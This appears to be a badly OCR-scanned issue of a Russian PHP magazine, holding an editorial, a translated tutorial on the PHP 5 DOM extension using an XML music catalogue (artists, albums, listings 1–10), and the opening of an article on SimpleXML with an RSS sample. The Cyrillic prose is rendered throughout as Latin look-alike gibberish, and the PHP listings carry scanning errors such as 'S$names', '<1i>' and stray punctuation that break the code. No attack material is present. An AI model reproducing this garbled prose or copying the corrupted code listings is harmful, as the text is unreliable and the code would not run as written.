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ObpamHas c8513b

3npaBcTByMTE!
Bor u nossuics Ha ceet PHP Inside #1!

MBI nmocTapanuch y4decTh Ballld 3aMedaHus, MOJIydeHHbIE IMocie
BBIX0JIa CUTHAJIBHOIO HOMEpa U BHECIU HEKOTOPBIE U3MEHEHHUS B MAaKET
1 BHemHee odopMieHHe XypHana. bnaromapst Bamed mnoanepxke u
MHOTOUYHMCIIEHHBIM OTKJIMKaM OH ToJy4dusn mnpojomxenue. Co Bcei
CMEJIOCTBIO MOYKHO YTBEPKAATh:

array push (SPHPInside, "#1");

Kak u npexze, punocodueii )xypHaaa 0CTaeTcs ero 0eCmiaTHOCTh
U CTpEeMJICHHE K COBEpHICHCTBY. HauWHas ¢ 3TOro HOMepa, MBI
mocTapaeMcsi PUACPIKUBATHCS BRIOPAHHOTO CTHJIS U COBEPIICHCTBOBATH
€ro OT BBIMYyCKAa K BBIMYCKy. OrpoMHOe crmacubo BCeM, KTO MPHHSI
y4acTHe B MOATOTOBKE 3Toro Homepa. Crnacubo coobiectBy phpclub.ru
32 TOANEPXKKY HHMIMATUBBI, 3J0POBYI0 KPUTUKY U peEallbHOE
coJleHCTBHE.

Jns  manpHeimedr paboThl HaM HeoOXOJMMa Balla IMOMOIIb —
aBTOPCKOE y4YacTHe, MEePEeBOJIbl, MOMOIIb B rpadudeckoM odopMIiIeHuH,
3aMeuaHusl ¥ paroHaIbHBIE TpeIoxkeHus. [Ipocto HamummTe HaM U
MPUCOEIUHANTECH K IPOEKTY!

project@yugovostok.ru, biznw@rambler.ru

Cnacu0o 3a Bauie BHUMaHue!
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Hosbie pacwupeHuss PHP 5 ons pabomei ¢
DOM, XSLT u XPath

Joboit web-pazpabomuux, He3a6UCUMO OM UCNOTB3YEMO20 UM ABTOp:
A3bIKA NPOSPAMMUPOBAHUS, OOJJICEH YMemb 0Opabamvléamsd ¢hopmbl,
pabomams ¢ 6azamu OauHvix u paszoupame XML. PHP npexpacro
cnpasisemcst ¢ 08yMsi NePEbiMU 3a0auamu, 00HaKo, noddepicka XML 6
PHP 4 ocmasnsiem sicenamo ayuwezo. B PHP 5 exnrouenvl cpedcmaa, no
CBOUM  BOZMONCHOCMAM NPUOIUNCAIOWUEC K MOWHBIM NPOSPAMMAM
obpabomxu XML. B smoti cmamve paccmampugaemcs pacuiupenue
DOM, max kaxk umenno DOM sasisemca Haubonee noOAHOU U
yHusepcanvhou cneyuguxayuer. XML. Takoce Oyoem paccmompeno
ucnoavzogauue DOM coemecmno ¢ XSLT u XPath. Hmax, oOasaiime
nocmompum, 4e2o ModxcHo odcudamv om PHP 5 6 nnane pabomsi c
XML.

Adam Trachtenberg
IlepeBon:
Annpeit JlemeHes

BeedeHue

DOM (Document Object Model) — cranmapt W3C miist paboThl ¢
XML-n0KyMeHTaMH.

Iomnepxxka DOM, BcrpoenHas B PHP 4, umeer oueBuanbIe
HEIOCTAaTKU: HECTaHAAPTHBIE M HEPEaTN30BaHHbIE (QYHKIHUH, YTEUKH
namstd. He crmemyer Bo3narate BCIO BHHY Ha pa3pabOOTUYMKOB
pacumpenus. llomHas peammsamus crneumdukammid DOM  mpocrto
HeBo3MoxkHa B PHP4, He wumeromemM B CBOEM pacHopsiKEHUU
HEOOXOIUMBIX OOBEKTHO-OPHEHTHPOBaHHBIX cpeacts. B PHP 5 sto
paciypeHue MOJIHOCTBIO MIepEeNrCcaHo, YTOOBI MIOJIHOCTBIO
COOTBETCTBOBaTh crnenudukannn DOM. Hanucanue 3Toro pacmupeHus,
kak u camoro PHP 5, eme He 3aBepiieHo, HO BCE K€ 3TO 3HAUUTEIbHBIN
mar Bmepen mo cpaBHernio ¢ PHP 4. Ilo sToil mpuumHe 9acth Koja,
MPUBOJUMOIO B 3TOW cTaThe, HE paboTaeT Aake B MOCICAHEW OeTa-
Bepcueir PHP 5 — Beta 3. Ecmu BB xoTHTEe “momrpartbes” ¢ DOM B
PHP 5, ycranoBuTe mocnequuii CHYNIIOT ¢ http://snaps.php.net.

Paciupenne DOM B PHP 5 ocnoBeBaeTcst Ha libxml2 —
oubnmnorexe st pasdbopa XML, Bxomsmedr B coctaB GNOME. [lns
ucnoip3oBanuss DOM B PHP 5 Bam HE0O0X0AMMO UMETh 3Ty OHOIHOTEKY.
BonpmmHcTBO coBpemeHHBIX Bepcuit Unix Bkmowaror libxml2, Ho,
BO3MOXXHO, BaM  NpPUAETCS  YCTaHOBUTh WJIM  OOHOBHTH €€
camocrostenasHo. He wuckimoueHo, uro penus PHP S Oymer Brimrouath
libxml2'.

Haunewm c kpartkoro BBenenus B DOM. 3atem paccMOTpUM YTCHUE
CYLIECTBYIOIIUX " co3/aHue HOBBIX XML-10KyMEHTOB c
ucronb3oBanueM DOM. M B 3akitoueHHE TIOKaXKeM, KaK PacIIMpCHHE
DOM B3anmozaeiicTByeT ¢ HoBeIME pactupennsmu XSLT u XPath.

1 Temneps yxe TogHO U3BecTHO, 4T0 B PHP 5 maker libxml2 BriroueH [[Ipum. pemakropa).
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Ucnons3zoBanne DOM B PHP 5 npoaemoHcTpupyeM Ha mpumMepe
KaTajiora My3bIKaTbHBIX alb00OMOB B opmare XML. MuI pacmnedaraem
CIUCOK HWCIOJHHUTENEH W aabOOMOB B KOJUIEKIIMH, & TaKXKE HAYYHUMCS
O0ABJIATH TaHHBIE, HCTIONB3ysT DOM.

BeeoeHue 8 DOM

I'maBrOe pocromHcTBO DOM 3akiiodaercs B €ro IOJHOTE U
yHUBepcaNbHOCTHA. UTO OBI BBl HU XOTenu caenath ¢ XML, BBl MoxeTe
caenath 370, ucnois3dyss DOM. lpyrue API, nampumep SAX mmu XSLT,
XOpOIIO CHpaBiAioTCs ¢ mpeobOpa3oBanneM XML-gokymeHToB. OqHAaKO
tonbko DOM 1o3BONIIET €O3[1aBaTh HOBBIE AOKYMEHTHI “‘C HyJs” U
JI0OABJIATH SJIEMEHTHI B CYIIECTBYOIINE (hailiib.

Cuna DOM sBnsiercss ogHOBpeMEHHO M ero ciaboctero. DOM
JIOBOJIBHO “TsKeN” M CIOXKEH, TaK Kak MOAJIEPKUBAET BCE BO3MOKHOCTH
XML. dakrtnuecku crnenudpukanus DOM sBiseTcss TPEXypOBHEBOM.
Takass ~ opraHuzamms  MO3BOJSIET  pa3padOTYMKy  Peann3oBaTh
HEOOXOMUMBIT MHUHUMYM (YHKUHMHA U PElIeHUs] KOHKPETHOU 3a/1advH.
Kpome Ttoro, ypoBenp aOctpakmmum DOM oueHb BBICOK, IO3TOMY
BBITIOJTHCHUE JaKe TIPOCTEHIMX JCHCTBHUH MOXKET MOTpeOoBaTh
HECKOJIBKUX Omnepanuii. 9T0 MOYKHO CUMTATh ILUTFOCOM WJIM MHHYCOM, KaK
OCMOTpeTh. MIHOrAa, Kak Mbl YBUJIUM, Opolie ucnoyb3oBath XSLT unu
XPath.

Konuenuuss DOM  ocHoBana Ha mnOpencrtaBieHun XML-
JIOKYMeHTOB B Buzae aepesa. [lpu mpencraBnenun XML-nokymeHTa B LOKYMEHT
Buge oObexkta DOM pasnuyHble 4YacTH JOKyMEHTa — 3JEMEHTHI,
aTpuOyThl, PparMeHTHl TEKCTAa, U T.1. — MPeo0pa3yloTca B y3ibl. 3aTeM, —’—
UCHOJB3Ys Pa3IMYHbIE METOJIbI, MOKHO MEpEMENIaThCs 10 MOIyYEHHOMY '

anemeHT aTpniyT
nepeBy. Takke MOXHO BBIOpaTh Cpa3y HECKOIBKO 3JIEMEHTOB C artist — et
OIIMHAKOBBIM MMeHeM Tira. B nuctunre 1 mpuBenen mpumep XML- J
JIOKyMEHTa, a Ha pUCyHKe |l — cooTBeTCTBYyIOIIETO AepeBa DOM. _k_

3nemMeHT
<artist id="1"> name
<name>The Rolling Stones</name> :
</artist>

TeKcT
Jlucmumne 1

The Rolling Stones

DJeMeHT name SBISETCA IOYCPHUM II0 OTHOILICHHIO K DJIEMEHTY
artist. Oro scHo BuaHo u3 XML. Opnako, kak Buaure, Teket The  pycyuox 1
Rolling Stones He sBIsieTcs yacTbl0 name, 3TO CaMOCTOATEIbHBIN
TEKCTOBBIN y3€1, TOUepHUH K Y31y name.

Hns nmocryma k Tekcry “The Rolling Stones” nHeo6xoanmo
o0paTuTbcs K mod0 nodeValue oObekra. Takum oOpasom, ecnu
NepeMeHHass $Sname COACPXKUT y3el name, Helb3s HamucaTh IMPOCTO
print ~ $name. BwmecTo  3TOro  HCHOJIB3yeTCS  KOHCTPYKIHS
print $name->firstChild->nodeValue, oO3HaYamomas: BO3-
BPAaTHTh 3HAUCHHWE TEKCTOBOTO Yy3J1a, KOTOPBIH SIBISETCS TMEPBBIM (2 B
HalleM ciy4ae M CIMHCTBEHHBIM) JOYEPHHUM Y3JIOM 3JEMEHTa Sname.
[IpounTas 3T0, BBl MOXETE MOAYMATh: K YEMY TaKUE CIIOKHOCTH, S OB
peanm3oBan 3To HamHOro mpomie. Ho, pabortas ¢ Gojnee CIOKHBIMH H
Pa3BETBICHHBIMU JIOKYMEHTAMH, BBl YOCIUTECh, YTO TaKas OpraHu3arus
HeoOXxoanuMa.
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Ucnons3zoBanne DOM B PHP 5 npoaemoHcTpupyeM Ha mpumMepe
KaTajiora My3bIKaTbHBIX alb00OMOB B opmare XML. MuI pacmnedaraem
CIUCOK HWCIOJHHUTENEH W aabOOMOB B KOJUIEKIIMH, & TaKXKE HAYYHUMCS
n00aBIATh AaHHBIE, ucmonb3yss DOM. Ha mucturare 2 npusenen XML-
JIOKYMEHT, Ha KOTOPOM OCHOBAaHBI BCe IPUMEPHI B cTarbe. OH XpaHUTCS B
¢aitne music.xml.

<music>
<artist id="1">
<name>The Rolling Stones</name>
<albums>
<title>Exile On Main Street</title>
</albums>
</artist>

<artist id="2">
<name>Aimee Mann</name>
<albums>
<title>I'm With Stupid</title>
<title>Bachelor No. 2</title>
</albums>
</artist>
</music>

Jlucmune 2

Umerue XML ¢ ucrionbzosaHuem DOM

DOM-npencrapnenne XML-nokymenta B PHP  sBmsercs
3K3eMIUsIpoM kimacca domDocument. Ero cosnaHne HHUYEM HeE
OTIIMYAETCS OT CO3JIaHUs IK3EMIUIIpa JIFoOOTO IPYroro Kiacca:

Smusic = new domDocument;

I[lo ymomuammro DOM crnenmyer crnemmdpukammun XML u
paccMaTrpuBaeT TpoOeabHBIE CHMBOJIBI Kak 3HadunMble. Hampumep,
Mpo0eNbl WM TEePeBOABl CTPOKH MEXAY 3aKphIBAIOIMIMM TATOM H
CIIEYFOIIAM OTKPBIBAIOIINM MPE0OPa3yIOTCs B TEKCTOBBINA y3eIl.

OnHako B HalieM cllydae MpoOeNbl MeXAy TIraMd HE HMEIOT
0co00ro 3HaYeHUs, U HAM He HYyXHO oOpaOarteiBaTh ux. Cnenatb 3TO
OYeHb MIpOCTO: JIOCTaTOYHO IIPUCBOUTH aTpudyTy
preserveWhiteSpace 3HaueHue false:

Smusic->preserveWhiteSpace = false;

I/ITaK, HGOGXOIII/IMBIC OINHHU YCTAHOBJICHBI, U TCIICPb MBI JOJI’KHbBI
3arpy3uTh XML-nokyMeHT. i1 3TOro cymecTByoT ABa METOa:

* load () 3arpyxkaetr XML u3 caiina,
* loadXML () — U3 MEpEMEHHOM.

B namewm ciydae ato paiinmusic.xml:
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‘$music—>load('music.xml');

JIOKyMeHT 3arpyeH, U MOXHO HadaThb paboTaTh C JIaHHBIMU.
[Ipocreiimmii  cnoco®d MONy4YeHUsT TPYNIBI DIEMEHTOB W3 OOBEKTa
DOM — ucnons3oBanue MeTosia getElementsByTagName (). OToT
METOJ, BO3BpALa€T MACCHB, COJAEpXKAIIMM BCE SIEMEHTHI-NOTOMKHU
TEKYLLIEro y3Ja, yAOBIETBOPSIONINE KpUTepuio mnoucka. dparmeHT koaa
Ha JIMCTUHTE 3 TIOKa3bIBAaCT, KaK BHIOPATh W BEIBECTH HMEHa BCEX
HUCHOJHUTENIEN U3 Hallled MY3bIKaJIbHOW KOJUICKLIUH.

Snames = $music->getElementsByTagName ('name') ;
foreach ($Snames as S$name) {
print $name->firstChild->nodeValue . "\n";

The Rolling Stones
Aimee Mann

Jlucmune 3

B oa3toM cnywae KaxIabld 3J€MEHT albums MOXET HUMETh
HECKOJIBKO JOYEPHUX DIIEMEHTOB, ITIO3TOMY HENB351 UCIIOIB30BATh IPOCTO
firstChild->nodeValue. BMecTo 3TOro Hy*HO NMOCTPOUTH LUKII
mo childNodes s mnepebopa Bcex aib0OMOB. 3HadYeHHEM
childNodes sBisieTcss CHHCOK Y3JI0B, MO3TOMYy IMKI foreach
MPUMEHUM, JaXe €CITU HWMEETCS BCETO OIWH JOUYSpPHHUH dJIeMeHT (Ha
CaMOM JIeJIe TaKe€ MPU OTCYTCTBUM AOYEPHUX BJIEeMEHTOB childNodes
COJIEPXKUT IyCcTOM MaccuB). Ha muctunre 4 moka3zaH BBIBOJ CITHCKA
aTL00MOB C YKa3aHUEM HCTIOTHUTEIICH.

Salbums = Smusic->getElementsByTagName ('albums') ;
foreach (S$albums as S$album) {
print "<ul>";
foreach (Salbum->childNodes as S$Stitle) {
print "<1i>" . S$title->firstChild->nodeValue . "</1i>";
}
print "</ul>";
}

Jlucmumne 4

Moxuo Ttakke BbiBecTH ~HTML-tabmuiyy co  cnuckom

UCIIOJIHUTENEH U anbOOMOB, Kak IOKa3aHO Ha JIMCTUHTE 5. — e
[« > 1[5 | @ rutp:/ runen-example.comymusic
Pesynbrar pa®oTel 3TOro CKpuUITa, BBIBEAEHHBIH B Opaysepe, A M T h gl

Aimee Mann Bachelor No. 2

M300paXKeH Ha PUCYHKE 2.

Pucynok 2
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Sartists = Smusic->documentElement;
print "<table>\n";
foreach ($Sartists->childNodes as Sartist) {
Snames =$artist->getElementsByTagName ('name') ;
Sname = S$names->item(0)->firstChild->nodeValue;
Stitles =$Sartist->getElementsByTagName ('title');
foreach (S$Stitles as S$title) {
print "<tr><td>$name</td>";
print "<td>" . $title->firstChild->nodeValue . "</td></tr>\n";

}

}
print "</table>\n";

Jlucmumne 5

B xome mucTMHra 5 IOKa3aHO MCIIOJNB30BAHUE €IE HECKOIBKUX
BO3MOKHOCTer DOM.

Bo-nepBrix, 310 S$music->documentElement. AtTpulyT
documentElement Bo3Bpamraer CcChUIKY Ha KOPHEBOW Yy3el JepeBa.
Jro6oit XML-TOKyMEHT COACP)KUAT OIWMH W TOJBKO OIWH KOPHEBOM
aneMeHT, mo3toMy documentElement Bo3BpamaeT oOAWH Yy3€n, a He
CIHUCOK Yy37moB. B mmcrtuare 5 B mepBom 1mkie foreach mBaxkmer
BBI3bIBAIOTCS getElementsByTagName (). Ha aToT pa3 BeI3bIBaeTCA
METOJI y3Jla Sartist, a He TOKyMEHTa.

Buumanue! B PHP 5 Beta3 u Oomee paHHUX BepCHSIX A3TOT METOJ
paboTaeT HEKOPPEKTHO.

OrmTh e, Tak KaK KabIi 3JIEMEHT artist COMEepKUT TOIBKO OIIMH
3JIEMEHT name, Mbl MOXKEM IOJYYUTh TEKCT HaNpsAMyl: $names-—
>item(0)->firstChild->nodeValue. Tak Kak METO[I,
getElementsByTagName () BO3BpAalaeT CIHUCOK Y3JIOB, IEPBBIA U
CIMHCTBEHHBIN NouepHUN 3neMeHT uMmeeT Homep 0. B pacmupenun
DOM PHP 5 wmoxHO oOpamaThCsi K D3IEMEHTaM CIHCKa Y3JIOB I10
HOMEDPY, UCIIONB3Yyst METON item ().

Bropoii mukn foreach () mepebupaer CHHUCOK aJIbOOMOB
KOHKPETHOT'O HCIIONIHUTEIIA, MOy YEHHBIN BBI30BOM
getElementsByTagName ().

3anuce XML

Bo3moxxnoctu DOM  He orpaHudeHsl TOJNBKO UYTCHHEM U
00pabOTKOW CYNIECTBYIONUX JOKYMEHTOB — MOXHO TaKXKe J00aBJIATh
HOBBIC JIaHHBIC B JOKYMEHTHI. [Ipenmosioxkum, y Bac MOSBUJICS HOBBIM
ansbom — “Sticky Fingers” rpymnmer “The Rolling Stones” — wu BBl
XOoTUTE N00aBUTH ero B cnucok. C mcoons3oBanueM DOM 310 oyeHb
MpOCTO cHaenaTh. PermeHne 3amaum MOXHO pa3OWTh Ha JBa 2JTarma:
co3nanue nHGOPMAIIH 1 BCTaBKA €€ B HY)KHOE MECTO JiepeBa.

Jnst cozmanms HoBoro AyeMeHTa DOM Hy»XHO CO31aTh dK3EMILTIP
knmacca domElement. MMms sneMeHTa mepemaeTcsi KOHCTPYKTOPY B
nepBoM mapamerpe. Ecim sneMeHT JODKeH Ccofep)kaTh TEKCTOBBIHM
3JIEMEHT, BO BTOPOM ITapaMeTpe MepeaaeTcs TEKCT:
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SnewAlbum = new domElement ('title', 'Sticky Fingers');

OJeMeHT co3[aH, W Telepb €ro HyXHO A00aBUTb B JAEPEBO B
KavyecTBe Opara omHoro u3 ansbomoB “The Rolling Stones”. Ha crnoBax
9TO BBIMJISIIUT JIETKO, OAHAKO peaju3auus ¢ Hchnoib3oBanneM DOM
HeoueBUIHA, Beab DOM He mpenocTaBisieT pa3BUTHIX CPEICTB IOMCKA.
[osTOMy mpuAeTcss MOCTPOUTH LUK MO HMCHOJTHUTENSM, HalTH TOT W3
HHUX, KOTOPHIH HMMEEeT MOYEpPHHUH HJIeMEeHT name co 3HadeHueMm ‘“‘The
Rolling Stones” u 100aBUTh HOBBIH y3€d K CIHKCKY. OJTOT IIpOIECC
Npe/ICTABIICH Ha JIUCTHHTE 6.

Sartists = Smusic->documentElement;
foreach ($Sartists—->childNodes as S$Sartist) {
Snames = Sartist->getElementsByTagName ('name') ;
if ('The Rolling Stones' ==S$names->item(0)->firstChild->nodeValue) {

Salbums = Smusic->getElementsByTagName ('albums') ;
Salbums->item (0) ->appendChild ($newAlbum) ;
break;

}

Jlucmune 6

Bonbmias yacte 3TOro KoAa 3aHUMAETCS MOHUCKOM MECTa i
BCTaBKH HOBOTO y3Jia. HOBBI aibOOM JOMKEH SBISATHCS JOYSPHUM I10
OTHOLICHUIO K 37eMeHTy albums. Korma nailizen ucnonautens “The
Rolling ~ Stones”,  smemeHT albums  TOIy4aeM  BBI30BOM
getElementsByTagName ('albums'). Ham AOKYMEHT MOCTPOEH
TaKAM 00pPa30M, 9TO KaXKABIH dJIEMEHT artist CONEpKUT TONBKO OJUH
3JeMEHT albums, MOATOMY HCKOMBIM 3JEMEHT MblI IOJy4aeM Kak
Salbums->item(0). [nsg noGaBneHHs AOYEPHETO Y3IlIa BBHI3BIBAETCS
MmeToll appendChild() c¢ mnepemaued SnewAlbum B KayecTBe
aprymenra. HoBwlii ampbom nmobOaBneH B jgepeBo. Jlmst mpoBepku
npeobpazyem DOM-o0bekT oOpatHo B XML (cMm. muctunr 7).

// mpeobpaszoBaHye B XML C OTCTyNIaMmu
Smusic->formatOutput = true;
print Smusic->saveXML () ;

Jlucmune 7

B pesynmprare Oymer mnomyden XML-¢aiin, BhIBEACHHBINH B
JUCTHUHTE 8.

OTOT mnpUMep OTHOCHTENBHO IIPOCT, TaK Kak HYXHO OBLIO
n00aBHUTH BCEro JiBa HJIEMEHTA: BJIEMEHT title M TEeKCTOBBIM 3JIEMEHT
co 3HauenneM ‘‘Sticky Fingers”. HemHoro cioxkxaee mo6aBUTH HOBOTO
ucnonnutens. Jlobasnenue anpboma #1 Onsuca Ilpecan nokaszaHo Ha
JHUCTUHTE 9 — KO HEMHOT'O CJIO0KHEE, YeM B MpeIbIayIIeM IIpuMepe, HO
IIPUHIMII OCTACTCA TEM KC.

Pa3zbepem storT mpumep mnomnoapoOHee. My3bIKaNbHBIE TPYIITBI
MOT'YT MCHATH CBOU Ha3BaHUA, IMOOTOMY Ka)i(,ﬂblﬁ HUCIIOJIHUTECIIb HUMECT
atpubyT 1id ¢ YHUKaJIbHBIM 3HAUYEHHEM, CIEIOBATEIbHO, TIepen
ILO63BJ'ICHI/ICM HOBOTO HMCHOJIHUTCIA Mbl HOOJKHBI YCTAHOBUTL O3TOT
atpulyT. B Hamem crmyyae 310 OyAeT 3HaueHHE, Ha €IUHHILy OoJblIce
MAaKCUMAJIBHOTO U3 CYHICCTBYIOIUX. Tak kak HOBBIE MCHOJHHUTEIN
BCer/ia 100aBIISIFOTCS. B KOHEI[ CIIMCKA, Mbl MOXKEM B3sITh 1d MOCIIEIHEr0
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<?xml version="1.0"?2>
<music>
<artist id="1">
<name>The Rolling Stones</name>
<albums>
<title>Exile On Main Street</title>
<title>Sticky Fingers</title>
</albums>
</artist>
<artist id="2">
<name>Aimee Mann</name>
<albums>
<title>I'm With Stupid</title>
<title>Bachelor No. 2</title>
</albums>
</artist>
</music>

Jlucmumne 8

HCTIOTHHUTENSA B CITUCKE W YBEJIMYUTH €T0 Ha €IUHHUITY. MOXKHO OBLIIO OBI
MOCTPOUTh HUKI Mo S$music->childNodes wiM HalTH TOCIEAHUMN
3JIEMEHT B OTOM MAacCHBE, HO CYIIECTBYyeT Oojee IpocToil cmocol:
Smusic->documentElement->lastChild.

(Pa3 cymectByer firstChild, To mpocto o00s3aH OBITH U
lastChild). Meroasl getAttribute () u setAttribute ()
HCHONB3YIOTCS IS MOMYYCHUS! M YCTaHOBKH aTpuOyTOB 3JieMeHTOB. B
HalreM npumepe getAttribute('id')  ucmomssyercs  IuIs
nonyyenust ID. Jlanee co3maercs HOBBIM dsieMeHT artist, mpuueMm
KOHCTPYKTOpP BBI3BIBAETCSA C OJHUM apryMEHTOM, TaK KakK 3TOT 3JEMEHT
BKJIIOYAeT WMsI HCIOJHHUTENSI M CIUCOK aibOoMoB. B mpeapaymumx
IpUMEpPax IPU CO3[JaHUM HOBOIO 3JIEMEHTA Mbl COXPAaHSJIM €ro BO
BpPEMEHHOI IepeMEeHHOH, a 3areM I00aBIsIM B JCPEBO, HO MOXKHO
IIepeaBaTh BHOBb CO3JAHHBIM AJIEMEHT HENOCPEICTBEHHO METOMY
appendChild (), YTO MBI 3€Ch U JICIAEM.

Sartists = Smusic->documentElement;
$lastId = Sartists->lastChild->getAttribute('id');

SnewArtist

SnewArtist = $artists->appendChild(new domElement ('artist')):;

->setAttribute ('id', $lastId + 1);

SnewArtist->appendChild (new domElement ('name',

'Elvis Presley'));

SnewAlbums

= SnewArtist->appendChild (new domElement ('albums')) ;

SnewAlbums->appendChild (new domElement ('title',

"#1'));

Jlucmune 9

[Tocne moGaByieHHsI HOBOTO AJIEMEHTA, €My IPHUCBANBAETCS HOBBIM
ID: SnewArtist->setAttribute('id', $lastId + 1).
3areM yCTaHAaBIIMBAeTCS WMS HCIIONHUATENS W J100aBISeTCS anbOOM.
OneMeHT title OOMXKEH SBISATHCS AOYEPHUM OBIEMEHTOM albums,
MOATOMY J00aBisieM ero k SnewAlbums. Keratu, mpu HCIIOIR30BaHAN
KoJla JUCTHHra 9 B  MHOrONOJIB30BATENIbCKOM  cpele  ciaeayer
MPEeyCMOTPETh OJOKHPOBKY JIaHHBIX — HO 3TO YK€ OTACIbHBIN
pasroBop. KoHeuHo wcmonb3oBaHuE pa3IWYHBIX YYAaCTKOB KOJa s
JI00ABJICHHUS HOBBIX 3alMCEd M M3MCHEHUS CYNIECTBYIOIUX HEYIO0OHO
lopazgo mydmie Obuto OBl MMETh (DYHKIHIO, KOTOpas MbITANach Obl
JI00aBUTh HOBBIM aIbOOM, a €CIIM HCIOJHUTEIL HE HaWIeH, TO CHadaia
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nobasisiia OBl €ro.

Jlnst aToro Hajo cierka mnepenenarh y)XKe UMEIONINICA Y Hac KOJ,
Kak mnoka3zaHo Ha juctuHre 10. @ynkuus addAlbum () cHavana
MIPOCMATPUBAET CIHMCOK HCIIOJIHUTENCH, W BCTABISET HOBBIA ambOOM,
Korga TpeOyeMblii MCIONHHTENb HakaeH. Eciam mocie mpocMoTpa Beex
HUCHOJIHUTENIEN Hy>KHasi 3aluCh HE HalJleHa, TO HCIIOJb3YETCS YXKe
M3BECTHBINM HaM KO JUisl 100aBJICHUSI HOBOTO.

3akrnoyeHue

HoBoe pacmmpenne DOM PHP 5 sBasercs ropaszgo Oosee
MOILHBIM M TIOJHEE peain3yeT CTaHJIapThbl, YEM €ro NpealIeCTBEHHHUK B
PHP 4. Kpowme Toro, oHO coBMeCTUMO ¢ ApyruMu pacuimpenusimu PHP 5,
npeaHa3HaYeHHbIME i1 pa0doTel ¢ XML, Bkitouas XSLT u XPath. TIpu
COBMECTHOM HCIIOJIb30BAHUM OTH CPEJACTBA TIPEACTABISIOT COOOU
MOIIHBIH WHCTPYMEHT it oOpaborkm XML, mo3Bonstomuii pemarb
npakTrdeckn mo0bie 3amaun. Korma cpeacte DOM  HemocraTodHO,
MOXHO 0€3 Mpo0JIeM BOCITONB30BATHCA (QYHKITUSIMH, TIPEIO0CTABISICMBIMHA
JPYTUMH PaCIIUPEHUSIMU. XOTs K HACTOSILIEMY MOMEHTY creur(UKaIus
DOM B PHPS5 peamn3oBaHa He TMONHOCTBIO, paboTa HAI STUM
pacUIMpeHneM BeAETCs TOCTOSHHO, M KaXKIbIi AeHb NPUOIIDKAET HAaC K
nonHo peanmuzauun DOM B PHP. IlepcnextuBst DOM B PHP 5
MHOrooOeImanu, 1 Oyaymiee 3a TEMH, KTO HAaUMHAET UCIOJIb30BaTh €ro
y>K€ CEeroaHs.

Ccbinku

1. http://www.w3.org/TR/xpath — cnenudukarnus Xpath.
2. http://snaps.php.net/ — nocnenuuii cusmmot PHP 5 u ucneitaiite HoBoe pacmupenne DOM
PHP 5.

Opurunan crateu: http://php-mag.net/itr/online _artikel/psecom.id,503.nodeid,114.html
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Ucnonb3osaHue SimpleXML e PHP5

XM% — amo 30v0p06’0, HO 5 NOCMOSAHHO YOUBAIOCH, NOYEM) dHce ABTOp:
OH MAKOU CNOJNCHBINL O ZPpAMMAmu4ecko2o paszbopa (napcunea).

Bonvuuncmeo 5A361k06 npeaocmaeﬂﬂmm 6bl60p usz mpex eapuanmoe.

SAX, DOM wnu XSLT. IlepeBoa:
Buxtop Kazb6anos

Adam Trachtenberg

V KaX1I0ro U3 HUX €CTh CBOH HCOOCTAaTKH.

e CoObtmitHass Momenb SAX  3acraBiser  00pabaThIBaTh
3JIEMEHTHI BPYYHYIO, 3aHOCS W U3BJIEKas UX U3 CTEKa.

* DOM — rpomo3akuii u eme pa3 rpoMo3fkuid. JloctaTodHo
TOTO, YTO HY>KHO HAIMCaTh CEMb CTPOK KOJIa, YTOOBI MIPOYUTAThH
<hello>.

e XSLT? Ecmm OB g XOTel WPOrpaMMHpPOBAaTH  Ha
(YHKIMOHAIBHOM SI3bIKE, 51 ObI Mcnonb30Ban Lisp BMecto PHP.

SimpleXML — 310 HOBOe M yHHKanpHOe pacumpenue PHPS,
pelaromee 9TH TPOOIEMBI  MOCPEACTBOM Tpeobpasoanust XML- | SimpleXML — 570 HOBOE U
JOKYMEHTa B CTPYKTYpY JaHHBIX, KOTOPYIO 3aT€M MOXKHO 00pabareiBaTh | YHHKaJIBHOC pacHInpeHue
KaK KOJUIEKIMIO OOBEKTOB W MaccuBoB. Takoil Meron mnpekpacto | PHPS, pemaromiee stu
MOJXOJNT, KOTJa HyXKHBI TOJNBKO aTpHOyTHI JJIEMEHTOB, MX TEKCT W | HPOOJIEMBI IOCPEACTBOM
Hamepe]l M3BECTHA CTPYKTypa JoKyMeHTa. SimpleXML mnpoct B | Hpeobpasosanus XML-
HCTIONB30BAaHUN, IOTOMY YTO pPabOTaeT TOJNBKO C caMbIMH OOmuMu | AOKYMEHTa B CTPYKTYPY
3amagyaMu XML, ocTaBisis Bce OCTaNbHOE AJIS APYTHX PACHIMPEHUN. JaHHBIX, KOTOPYO 3aTeM
MOKHO 00pabaThIBaTh KaKk
KOJUIEKIHIO 00BEKTOB U
MacCHBOB.

B ar0i cratbe pacckasbiBaeTcs, KaK HCIONb30BaTh SimpleXML
s areHuss XML-¢aiina, npencrtaBneHus pe3yibTaToB B YAOOHOM
(¢opMe M BBIIOJIHEHUS 3aIPOCOB K JOKYMEHTY ¢ momomsio XPath. B
CBOMX mpuMepax s ucmonb3oBall RSS Bepcun 0.91 u 1.0. (¢ HEKOTOPBIX
Bepcuii RSS cran akkyparneiM u jerkum). On wucnomnsdyer RDF,
MHOKECTBEHHOE IPOCTPAHCTBO HMEH (namespace) MU Ompenesser
BcTpoeHHOE (default) MpocTpaHCTBO UMEH JIJIST CBOMX DJIEMEHTOB (BOT
BaM aKKypaTHBIN U JerKuit!)

Hns paborer ¢ SimpleXML nHeo0xoauma komms PHPS beta 3,
MIOCKOJILKY HE BCE, OIMCAHHOE 3]IeCh, paboTaeT B 00Jice paHHUX BEPCHUSIX.
SimpleXML Takxe TpeOyer Hammuus libxml2, OubmnoTeku ¢ OTKPHITHIM
KomoM i pazbopa XML-TOKyMEHTOB, KOTOPYIO TEIeph HCIIOIB3YIOT
Bce pacmmupenns PHPS. Ilognepkka SimpleXML BrmodeHa 110
YMOJYaHUIO, TO3TOMY paclIMpPEHHE aBTOMATHYECKH YyCTaHABIMBAETCS
npu coopke PHPS.

Tak xe, kak PHPS, SimpleXML naxomutcs Ha craamu Oera
TecTupoBaHus'. ECTh HEKOTOpOe KOJIMYECTBO OMIMOOK (0aroB), yTeuek
MaMsITH, HO o0lIee BIICUYATIIEHHE OCTACTCS XOPOILIUM.

Umerue XML

B mepBeix mpumepax wucmnonb3yercs cuemyrommii Omok RSS,
KOTOpBIN Haxoautcs B ¢atie rss-0.91.xml (JIuctusr 1).

1 Ha mowmenT Hancanus cratbu emte He Boimesn PHP 5.0 release candidate [[Ipum. penakropal]
||
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<?xml version="1.0" encoding="utf-8" ?>
<rss version="0.91">
<channel>

<title>PHP: Hypertext Preprocessor</title>
<link>http://www.php.net/</link>

<description>The PHP scripting language web site</description>
</channel>
<item>

<title>PHP 5.0.0 Beta 3 Released</title>
